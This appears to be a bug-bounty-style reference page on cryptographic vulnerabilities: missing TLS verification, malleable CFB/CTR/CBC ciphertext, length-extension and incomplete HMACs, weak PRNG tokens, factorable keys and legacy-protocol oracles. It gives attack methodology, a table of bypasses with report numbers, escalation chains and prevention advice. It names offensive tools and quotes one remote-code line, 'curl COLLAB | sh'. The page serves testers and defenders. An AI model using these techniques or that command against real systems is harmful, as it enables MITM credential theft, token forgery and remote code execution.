Cryptographic Issues
§Basic information
Cryptographic issues are the gap between "we encrypted/signed it" and "it is actually secret and tamper-proof." A scheme can use strong primitives and still fail catastrophically at the seams: a certificate that is never verified, a ciphertext with no MAC, a signature that covers the wrong bytes, a token derived from a clock. The primitive is rarely the bug — the plumbing around it is.
The recurring lesson is that confidentiality is not integrity, and identity is not intent. Unauthenticated stream/CBC ciphertext an attacker can read and write is malleable no matter how strong the cipher. A signature that binds who but not what is a bearer token for any request. A "signed" cookie with no server-held secret is not a token, it is a formula. Crypto flaws are almost always the first link in a chain — MITM → credential theft, signature reuse → fund drain, weak key → RCE — so treat them as escalation primitives, not academic findings.
§Methodology
- Attack the transport first. For every native client (mobile/desktop/webview) and every server-to-server HTTP client, point it at an untrusted CA and watch. If traffic flows with no cert error, verification is absent → token/credential MITM.
- Enumerate the backend × protocol matrix for multi-backend clients (
curl -V). The mainstream OpenSSL/HTTP-1.1 path is usually safe; the odd combo (wolfSSL, mbedTLS, HTTP/3-QUIC, IP-literal host, error branch) is where the verification call is silently skipped. - Reconstruct every signed pre-image. For any HMAC/signed request, work out exactly which fields the signature covers. Missing method/path/body → cross-endpoint replay.
- Collect several tokens and look for structure — time-based PRNG (
uniqid,mt_rand,microtime),Math.random(), fixed-increment counters. The serverDateheader often leaks the clock you need to sync candidate generation. - Look for oracles. A value you supply coming back encrypted = an encryption oracle; any endpoint that decrypts that format = a decryption oracle. The pair = full CBC malleability.
- Check the key material and the protocol floor. Factorable/short keys (DKIM ≤512-bit), EXPORT/SSLv2 downgrade paths, and default keys shipped in source are permanent compromises.
§Attack primitives
Identify which primitive the target exposes, then use the matching technique.
Broken TLS/DTLS/SSH peer verification
The client accepts a certificate/host key it should reject — either wholesale (VERIFYPEER=false) or only on a niche code path. Stand up a transparent proxy with an untrusted CA and see whether the app errors.
Unauthenticated / malleable ciphertext (CFB · OFB · CTR)
Encryption without a MAC protects confidentiality, never integrity. Any stream/CFB/CTR ciphertext you can read and write is malleable: flip a bit, or overwrite a known-plaintext block with your own bytes. (CBC is malleable too but via cut-and-paste / bit-in-previous-block — see the next section.)
CBC cut-and-paste (encrypt + decrypt oracle)
An encrypted token with no MAC, plus a place that reflects your input as ciphertext (encryption oracle) and a place that decrypts that format (decryption oracle), gives you arbitrary plaintext by splicing blocks — no key needed.
Forgeable signatures — length extension & missing-field HMAC
Two classic shapes. md5/sha1(secret + message) with a hex hash param next to the signed data is length-extension forgeable. An HMAC whose pre-image omits method/path/body binds identity but not intent → replay a valid signature onto a destructive endpoint.
Client-forgeable "stateless" tokens (no server secret)
A signed/hashed cookie reconstructable purely from client-knowable values (IDs + a shared password, hashed but never keyed) is not a token — it is a formula. Missing HMAC/server key means anyone can rebuild it.
Predictable tokens from weak PRNG
Anything security-relevant from a non-CSPRNG is predictable. Time-based (uniqid, mt_rand, microtime) syncs to the server clock; Math.random() (V8 xorshift128+) is recoverable from a handful of outputs.
Weak / factorable keys & legacy-protocol oracles
Short keys are trivially breakable; any legacy endpoint sharing an RSA key can undermine modern TLS on unrelated services (DROWN/FREAK). Inventory for SSLv2/EXPORT anywhere the key is reused, and measure published key sizes.
SECRET_KEY) is permanently compromised. The fix is regenerating the key, not rotating configs — grep public repos/firmware for the fingerprint you see live.§Bypasses
| Filter / control | Bypass | Seen in |
|---|---|---|
| Nonce anti-replay masks the HMAC bug | DROP the original request so its nonce is never consumed, then replay the signature | #3670955 |
Prefix-MAC integrity md5(secret+url) | hash_extender length extension; null byte disables the Refresh header, leaves injected HTML | #251572 |
| CBC ciphertext, no MAC | cut-and-paste block splicing via paired encrypt + decrypt oracle | #126203 |
| CBC padding integrity | padding-oracle decrypt & forge (Oracle Access Manager encquery=) | #728110 |
| Authenticated-mode enforcement | rewrite self-describing header CTR→CFB; HMAC only required when header says CTR | #742588 |
| CFB/CTR confidentiality-only | bit-flip newC = oldC ⊕ knownP ⊕ desiredP over known plaintext (PE stub/ELF/shebang) | #108082 |
| Cert verification (multi-backend) | use wolfSSL/mbedTLS/HTTP-3/IP-literal path where the if(sni) guard skips check_host | #3150884 |
| Cert verification (by IP) | connect to an IP literal so the hostname check is never reached | #2416725 |
| Cert verification (native client) | transparent proxy + untrusted CA; app never validates | #168538 |
| OCSP revocation enforcement | non-revoked status (unauthorized(6)), missing staple, or serial-mismatch treated as OK | #2669852 |
| TLS pin/CA (connection pool) | case-different CA path or ignored BLOB/issuer option reuses a weaker pooled connection | #1223565 |
| Outbound TLS verify | CURLOPT_SSL_VERIFYPEER=false / rejectUnauthorized:false on server-to-server fetch | #915585 |
| EXPORT_RSA / SSLv2 | client accepts a 512-bit ephemeral key in a plain RSA handshake, then factor offline | #50170 |
| SSLv2 clear-key length check | inject clear-key bytes as an oracle for master-key recovery (Special DROWN) | #138179 |
| HSTS enforcement | IDN char that nameprep-folds to .; or zero the state file via an over-length filename | #1730660 |
| Signed session cookie | forge with a weak/placeholder Flask SECRET_KEY (flask-unsign) | #1387366 |
§Escalation & impact
Crypto is the entry link; the payout is downstream.
- Broken client TLS → token/credential theft → ATO. A transparent MITM harvests OAuth tokens the app sends (#168538); a disabled outbound
VERIFYPEERlets a MITM forge the public key used to authenticate users, so verification failure becomes auth bypass (#915585). - Signature reuse → fund drain. An HMAC that binds identity but not intent replays a harmless read onto a withdrawal/trade endpoint with attacker parameters (#3670955).
- Weak crypto → RCE. A brute-forced Telerik key unlocks the file manager → ASPX web shell (#491668); a CFB downgrade + known-plaintext first-block forgery injects
curl COLLAB | shinto a downloaded binary (#742588). - Predictable token → auth bypass. A
uniqid()reset token brute-forced within the server's clock window sets the admin password (#576504). - Legacy oracle → break modern TLS. One SSLv2/EXPORT endpoint sharing an RSA key decrypts unrelated modern TLS (#138179, #50170).
- Factored DKIM key → phishing. A recovered private key signs perfectly DKIM-aligned mail from the victim domain (#550937).
The malleable-ciphertext primitives also pivot laterally into other classes — CBC cut-and-paste into open redirect / data: URI XSS, and forgeable download tokens into IDOR-style access to files the token was never scoped for.
§Prevention
- AEAD everywhere (GCM / ChaCha20-Poly1305) or strict Encrypt-then-MAC. A scheme is only as strong as its weakest still-accepted mode, and a downgrade guard keyed on an attacker-controlled header is worthless. Unauthenticated CFB/CTR an attacker can read+write is always malleable.
- HMAC over the full intent — method + path + body + identity + a fresh nonce. Replace
md5/sha1(secret + msg)with a real keyed HMAC; a hex hash param sitting next to signed data is a red flag. - No client-derivable tokens. An auth token with no server-held secret is a formula. Rotate real secrets and never ship placeholder
SECRET_KEY/ default keys. - CSPRNG for anything security-relevant — never
uniqid/mt_rand/microtime/Math.randomfor tokens, nonces, boundaries, or IDs. Use constant-time comparisons for MACs and credentials. - Fail-closed verification on every path. Verify peer cert/host on every backend, protocol version, and IP-literal case; OCSP must fail on revoked, unknown, unauthorized, and missing. Never
VERIFYPEER=false. Compare all security parameters in connection-pool match keys. - Kill legacy floors. No SSLv2/EXPORT ciphersuites; minimum key sizes (≥2048-bit RSA, ≥1024-bit for DKIM at the very least); a regenerated key — not a rotated config — is the only fix for a key that ever shipped in source.